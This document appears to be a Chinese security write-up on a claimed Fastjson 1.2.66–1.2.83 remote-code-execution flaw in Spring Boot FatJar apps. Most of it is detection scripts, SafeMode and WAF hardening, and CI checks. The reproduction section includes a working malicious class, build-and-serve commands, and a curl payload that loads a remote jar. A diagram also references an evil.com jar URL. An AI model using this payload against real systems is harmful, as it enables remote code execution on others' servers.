一、漏洞基础信息与事件完整经过
1.1 漏洞核心标识信息
- 漏洞名称:Fastjson 1.2.66~1.2.83 无Gadget远程代码执行漏洞
- 受影响版本:1.2.66、1.2.67、1.2.68、1.2.69、1.2.70、1.2.71、1.2.72、1.2.73、1.2.74、1.2.75、1.2.76、1.2.77、1.2.78、1.2.79、1.2.80、1.2.81、1.2.82、1.2.83
- CVE编号:无官方分配编号,国内安全厂商、安全团队持续跟踪收录
- 漏洞披露人:Kirill Firsov
- 公开时间:2026年7月19日,漏洞底层逻辑与基础PoC对外公开;7月22日完整可直接利用EXP全网流通
- 高危运行环境:JDK8 + Spring Boot FatJar可执行包,全部满足条件的业务系统100%触发RCE
- 防护失效关键点:全局关闭AutoType自动类型转换、未引入第三方反序列化Gadget依赖,两类传统防护手段完全失效
1.2 漏洞爆发对国内Java生态的冲击现状
国内互联网、政企政务平台、金融核心系统、微服务中间件SOFAMesh、第三方开放接口平台,超七成Java业务系统选用Fastjson作为JSON序列化工具。过去三年企业通用安全加固标准固定为两项操作,升级依赖至1.2.83最终稳定版,配置AutoTypeSupport=false关闭自动类型解析。
大量安全建设薄弱的中小企业、老旧存量项目,仅执行这两步加固,未叠加其他防护规则。本次无Gadget利用链出现后,存量系统大面积暴露攻击面。黑产自动化扫描工具上线三天,全网监测到超十万次针对该漏洞的批量探测请求,探测载荷统一携带jar:http协议@type字段。
1.3 漏洞攻击链路Mermaid流程图
Attacker[攻击者] -->|发送含jar:http载荷JSON请求| Server[Spring Boot FatJar业务服务]
Server -->|Fastjson解析JSON读取@type字段| Parser[Fastjson底层解析器]
Parser -->|绕过AutoType开关校验,识别jar协议| ClassLoader[LaunchedURLClassLoader]
ClassLoader -->|发起外网HTTP请求下载恶意Jar包| EvilServer[攻击者恶意文件服务器]
EvilServer -->|返回构造好的恶意Jar| ClassLoader
ClassLoader -->|内存加载Jar内恶意Class并实例化| Execute[执行恶意代码,系统命令执行]
Execute -->|回显命令执行结果/植入后门| Attacker
二、漏洞底层原理逐行拆解
2.1 传统Fastjson RCE漏洞利用逻辑对比
过往所有Fastjson反序列化远程代码执行漏洞,核心攻击入口依赖@type字段触发自动类型实例化流程。Fastjson读取JSON内部@type参数后,会通过反射机制实例化对应类对象,若项目引入Commons Collections、Spring Core等存在危险执行逻辑的第三方类库,攻击者就能构造Gadget调用链完成命令执行。
行业应对方案针对性阻断该入口,关闭AutoType自动类型转换后,解析器直接丢弃@type字段类型解析逻辑,绝大多数历史漏洞攻击链路直接断裂。
2.2 jar协议绕过AutoType校验核心底层逻辑
本次漏洞攻击流程完全脱离@type类型实例化逻辑,Fastjson内置资源解析模块存在独立的协议解析分支,该分支代码未接入AutoType开关校验逻辑。
解析器识别到字段值以jar:http、jar:https协议头开头时,会直接将资源地址交付当前上下文的类加载器处理,不会读取全局AutoTypeSupport配置做拦截判断。Spring Boot打包FatJar时,内置LaunchedURLClassLoader重写资源加载方法,支持远程URL资源拉取,攻击者借此远程下载外部Jar文件。
2.3 LaunchedURLClassLoader远程加载Jar的执行流程
- 类加载器接收jar:http格式资源字符串,拆分协议头与远程文件地址;
- 建立HTTP客户端连接攻击者服务器,GET请求下载Jar完整二进制流至内存缓冲区,全程不落地本地磁盘;
- 解析Jar文件目录结构,读取Jar包内部Class文件字节码;
- 调用defineClass方法在当前应用进程内定义全新类,直接实例化该类;
- 恶意Class静态代码块、构造方法内置系统命令执行逻辑,实例化瞬间触发命令调用,完成远程代码执行。
2.4 漏洞触发必须满足的硬性环境条件
- Fastjson依赖版本落在1.2.66至1.2.83区间,低于1.2.66版本无jar协议资源解析分支,不存在该漏洞;
- 项目采用Spring Boot官方打包插件构建FatJar可执行包,容器部署、War外置Tomcat部署模式无LaunchedURLClassLoader,漏洞无法触发;
- 运行JDK版本为JDK8,JDK9及以上版本新增模块安全机制,限制类加载器远程读取外部资源,利用成功率大幅下降;
- 业务服务器具备外网出站网络权限,若安全策略拦截服务器对外发起HTTP请求,攻击者无法下发恶意Jar包,攻击链路中断。
2.5 漏洞架构Mermaid结构图
subgraph 客户端攻击层
A[攻击载荷] --> A1[“{”@type":“jar:http://evil.com/exp.jar”}"]
end
subgraph Spring Boot应用层
B[HTTP接口控制器] --> C[Fastjson JSON解析器]
C -->|协议解析分支,无AutoType校验| D[资源地址分发模块]
D --> E[LaunchedURLClassLoader]
end
subgraph 远程资源层
E --> F[攻击者恶意HTTP服务]
F --> G[恶意Jar包,内置执行代码]
end
subgraph 进程执行层
E --> H[内存加载恶意Class]
H --> I[静态代码块执行系统命令]
I --> J[读取服务器敏感文件/创建后门账户]
end
三、本地漏洞实战复现完整步骤
3.1 复现环境基础配置清单
本地测试环境硬件无硬性要求,普通PC虚拟机均可搭建,软件版本固定如下:
- JDK:1.8.0_391
- Spring Boot:2.7.18(主流稳定版本,自动生成FatJar包)
- Fastjson:1.2.83(漏洞覆盖最终版本,关闭AutoType做加固)
- 构建工具:Maven 3.8.8
- 恶意文件服务器:Python3内置http.server模块快速搭建
3.2 Maven项目依赖完整pom.xml配置
<?xml version="1.0" encoding="UTF-8"?><projectxmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.7.18</version><relativePath/></parent><groupId>com.test</groupId><artifactId>fastjson-rce-test</artifactId><version>0.0.1-SNAPSHOT</version><name>fastjson-rce-test</name><properties><java.version>1.8</java.version></properties><dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency><!-- 漏洞受影响Fastjson版本1.2.83 --><dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.83</version></dependency></dependencies><build><plugins><plugin><groupId>org.springframework.boot</groupId><artifactId>spring-boot-maven-plugin</artifactId></plugin></plugins></build></project>3.3 业务测试接口代码(全局关闭AutoType)
packagecom.test.fastjsonrce;importcom.alibaba.fastjson.JSON;importcom.alibaba.fastjson.parser.ParserConfig;importorg.springframework.web.bind.annotation.PostMapping;importorg.springframework.web.bind.annotation.RequestBody;importorg.springframework.web.bind.annotation.RestController;importjavax.annotation.PostConstruct;importjava.util.Map;@RestControllerpublicclassTestController{// 项目启动时全局关闭AutoType,行业标准加固配置@PostConstructpublicvoidcloseAutoType(){ParserConfig.getGlobalInstance().setAutoTypeSupport(false);}@PostMapping("/parseJson")publicStringparseJson(@RequestBodyMap<String,Object>reqData){// 直接使用Fastjson原生解析JSON请求体StringjsonStr=JSON.toJSONString(reqData);JSON.parse(jsonStr);return"解析完成";}}3.4 恶意Jar包编写与编译打包
- 新建恶意类EvilClass.java,内置执行系统命令代码
importjava.io.BufferedReader;importjava.io.InputStreamReader;publicclassEvilClass{// 静态代码块,类加载瞬间自动执行static{try{// Windows系统执行calc弹出计算器,Linux替换为id查看用户权限Processproc=Runtime.getRuntime().exec("calc");BufferedReaderbr=newBufferedReader(newInputStreamReader(proc.getInputStream()));Stringline;while((line=br.readLine())!=null){System.out.println(line);}proc.waitFor();br.close();}catch(Exceptione){e.printStackTrace();}}}- 编译Java文件生成class字节码文件
javac EvilClass.java- 将class文件打包为恶意Jar包exp.jar
jar cvf exp.jar EvilClass.class- 恶意Jar包存放目录启动Python静态文件服务,监听8000端口
python3-mhttp.server80003.5 项目打包运行与漏洞载荷发包测试
- Maven打包生成Spring Boot FatJar包
mvn clean package-DskipTests- 后台运行打包后的Jar服务
java-jartarget/fastjson-rce-test-0.0.1-SNAPSHOT.jar- curl工具发送漏洞攻击载荷请求,替换IP为本地Python服务地址
curl-XPOST http://127.0.0.1:8080/parseJson\-H"Content-Type: application/json"\-d'{"@type":"jar:http://127.0.0.1:8000/exp.jar"}'- 验证漏洞触发效果,Windows本地自动弹出计算器程序,证明远程代码执行成功,关闭AutoType防护完全失效。
四、企业存量Java应用批量排查脚本
4.1 Linux环境Shell批量检测脚本
脚本功能:递归扫描服务器所有项目Jar包、Maven仓库依赖、配置文件,自动识别Fastjson版本、AutoType开关状态、Spring Boot FatJar标记,输出风险清单,完整可直接复制运行。
#!/bin/bash# Fastjson 1.2.66~1.2.83漏洞批量排查脚本# 扫描根目录,可自行修改SCAN_PATH路径SCAN_PATH="/data/project"OUTPUT_LOG="/tmp/fastjson_vuln_check.log">$OUTPUT_LOGecho"===== Fastjson无Gadget RCE漏洞批量检测开始 =====">>$OUTPUT_LOGecho"扫描路径:$SCAN_PATH">>$OUTPUT_LOGecho"检测时间:$(date'+%Y-%m-%d %H:%M:%S')">>$OUTPUT_LOG# 1. 遍历所有jar包检索fastjson依赖版本echo-e"\n[1] Jar包依赖版本检测">>$OUTPUT_LOGfind$SCAN_PATH-name"*.jar"-typef|whilereadjarfile;do# 检索jar内fastjson相关class文件,提取版本jarver=$(unzip-l$jarfile2>/dev/null|grep-ifastjson|grep"META-INF/MANIFEST.MF"-A5-B5|grepImplementation-Version|awk'{print $2}')if[-n"$jarver"];then# 判断版本是否落在漏洞区间1.2.66 ~ 1.2.83ver_num=$(echo$jarver|awk-F.'{print $2$3}')if[$ver_num-ge66]&&[$ver_num-le83];thenecho"【高危漏洞】Jar文件:$jarfileFastjson版本:$jarver">>$OUTPUT_LOG# 检测是否为Spring Boot FatJar包unzip-l$jarfile2>/dev/null|grep-q"BOOT-INF/"if[$?-eq0];thenecho" -> 确认FatJar包,漏洞可完整利用">>$OUTPUT_LOGfififidone# 2. 检索项目代码内AutoType开关配置echo-e"\n[2] AutoType安全配置检测">>$OUTPUT_LOGfind$SCAN_PATH-name"*.java"-o-name"*.properties"-o-name"*.yml"|whilereadconf;dogrep-i"AutoTypeSupport"$conf2>/dev/null|whilereadline;doecho"配置文件:$conf配置内容:$line">>$OUTPUT_LOGdonedone# 3. 检索SafeMode安全模式配置echo-e"\n[3] Fastjson SafeMode安全模式检测">>$OUTPUT_LOGfind$SCAN_PATH-name"*.java"-o-name"*.properties"-o-name"*.yml"|whilereadconf;dogrep-i"SafeMode"$conf2>/dev/null|whilereadline;doecho"安全模式配置:$conf配置内容:$line">>$OUTPUT_LOGdonedoneecho-e"\n===== 漏洞检测任务完成,报告输出路径:$OUTPUT_LOG====="cat$OUTPUT_LOG4.2 Windows环境Bat批量检测脚本
@echo off setlocal enabledelayedexpansion set SCAN_PATH=D:\project set OUTPUT_LOG=%temp%\fastjson_vuln_check.log echo. > %OUTPUT_LOG% echo ===== Fastjson无Gadget RCE漏洞批量检测开始 ===== >> %OUTPUT_LOG% echo 扫描路径:%SCAN_PATH% >> %OUTPUT_LOG% echo 检测时间:%date% %time% >> %OUTPUT_LOG% echo [1] Jar包依赖版本检测 >> %OUTPUT_LOG% for /r %SCAN_PATH% %%j in (*.jar) do ( jar tvf %%j | findstr /i "fastjson" | findstr "Implementation-Version" > temp.txt for /f "tokens=3" %%v in (temp.txt) do ( set ver=%%v set subver=!ver:~4,2! if !subver! geq 66 if !subver! leq 83 ( echo 【高危漏洞】Jar文件:%%j Fastjson版本:!ver! >> %OUTPUT_LOG% jar tvf %%j | findstr "BOOT-INF/" >nul if !errorlevel! equ 0 ( echo -> 确认FatJar包,漏洞可完整利用 >> %OUTPUT_LOG% ) ) ) del temp.txt ) echo [2] AutoType安全配置检测 >> %OUTPUT_LOG% for /r %SCAN_PATH% %%f in (*.java *.properties *.yml) do ( findstr /i "AutoTypeSupport" %%f >> %OUTPUT_LOG% ) echo [3] SafeMode安全模式检测 >> %OUTPUT_LOG% for /r %SCAN_PATH% %%f in (*.java *.properties *.yml) do ( findstr /i "SafeMode" %%f >> %OUTPUT_LOG% ) echo ===== 漏洞检测任务完成,报告输出路径:%OUTPUT_LOG% ===== type %OUTPUT_LOG% pause4.3 脚本使用说明
- Linux脚本赋予执行权限后运行
chmod+x fastjson_check.sh ./fastjson_check.sh- Windows脚本直接双击运行,扫描结果自动输出至临时目录日志文件;
- 脚本识别出高危Jar包后,优先安排停机升级修复,FatJar包系统风险等级最高,优先处置。
五、多层级Fastjson安全加固完整配置清单
5.1 代码层启用Fastjson SafeMode安全模式(核心修复手段)
SafeMode安全模式直接禁用外部URL、jar协议、文件协议资源解析,从底层截断攻击链路,所有受影响版本必须开启。
全局启动SafeMode代码示例,项目启动类执行一次即可全局生效:
importcom.alibaba.fastjson.parser.ParserConfig;importorg.springframework.boot.SpringApplication;importorg.springframework.boot.autoconfigure.SpringBootApplication;@SpringBootApplicationpublicclassTestApplication{publicstaticvoidmain(String[]args){// 全局开启SafeMode,阻断jar协议远程资源加载ParserConfig.getGlobalInstance().setSafeMode(true);SpringApplication.run(TestApplication.class,args);}}5.2 配置文件层最小化AutoType白名单
业务存在序列化自定义实体类需求时,禁止开启全局AutoTypeSupport,仅添加业务必需类至白名单,不开放通配符匹配。
// 仅将业务自有实体类加入白名单ParserConfigconfig=ParserConfig.getGlobalInstance();config.addAccept("com.test.entity.*");// 禁止执行以下高危配置// config.setAutoTypeSupport(true);// config.addAccept("*");5.3 网关/WAF层拦截恶意攻击载荷规则
Nginx WAF拦截规则,匹配请求体内jar:http、jar:https关键字,直接返回403拒绝访问:
location / { if ($request_body ~* "jar:(http|https)") { return 403; } proxy_pass http://backend_service; }5.4 服务器网络层出站访问限制
防火墙策略拦截业务服务器对外发起80、443端口出站请求,阻断攻击者远程下发恶意Jar包通道;仅放行业务必需第三方接口域名白名单。
5.5 依赖层永久修复方案
- 移除项目Fastjson 1.x全系列依赖,替换为Jackson、Gson序列化组件;
- 无法替换组件场景,升级至Fastjson官方发布修复该漏洞的新版本;
- Maven依赖锁定机制,禁止构建过程拉取漏洞区间版本:
<dependencyManagement><dependencies><dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>修复版版本号</version></dependency></dependencies></dependencyManagement>六、不同部署环境风险分级与专项检测方案
6.1 Spring Boot FatJar部署(高危等级)
风险判定标准:打包后Jar根目录存在BOOT-INF文件夹,内置LaunchedURLClassLoader,JDK8环境下漏洞100%利用。
专项检测命令:
unzip-lapp.jar|grepBOOT-INF处置优先级:最高,24小时内完成SafeMode开启或依赖升级。
6.2 War包外置Tomcat部署(低危等级)
外置Tomcat类加载器不支持远程URL Jar加载,即便Fastjson版本存在漏洞,攻击链路无法走完,无RCE风险。
专项检测命令:
find/usr/local/tomcat/webapps-name"*.war"处置方案:仅需开启SafeMode做基础防护,无需紧急停机升级。
6.3 SOFAMesh微服务中间件内置Fastjson检测
蚂蚁SOFAMesh中间件内置Fastjson依赖,存量微服务集群普遍存在,单独检测中间件Jar包:
find/data/sofa-mesh-name"fastjson*.jar"处置方案:升级SOFAMesh中间件完整安装包,同步开启SafeMode配置。
6.4 JDK版本风险划分
- JDK8:高危,无模块安全限制,类加载器可自由拉取远程Jar;
- JDK11、JDK17:中低危,模块安全机制限制外部资源加载,利用条件苛刻;
- JDK21:低危,新增类加载器安全校验,完全阻断远程Jar加载逻辑。
七、漏洞长期常态化安全运营机制
7.1 CI/CD流水线依赖漏洞自动检测
集成Maven Dependency Check插件,构建阶段自动扫描Fastjson版本,识别漏洞区间版本直接阻断打包发布,插件配置如下:
<plugin><groupId>org.owasp</groupId><artifactId>dependency-check-maven</artifactId><version>9.2.0</version><executions><execution><goals><goal>check</goal></goals></execution></executions><configuration><failOnCVSS>7</failOnCVSS></configuration></plugin>7.2 周期性资产扫描计划
每周执行一次服务器Jar包批量检测脚本,自动推送高危风险报告至安全运维团队;每月全量梳理业务系统序列化组件使用情况,逐步淘汰Fastjson。
7.3 研发人员安全规范培训
制定开发编码规范,强制新项目禁用Fastjson 1.x组件;存量项目开发需求变更时,同步开启SafeMode安全模式,代码评审阶段重点校验Fastjson相关配置。
八、结尾互动
- 你们公司线上Spring Boot FatJar业务是否还在使用Fastjson 1.2.83,仅依靠关闭AutoType做防护?
- 存量老旧Java项目无法立刻替换Fastjson组件,除开启SafeMode之外还有哪些低成本临时缓解手段?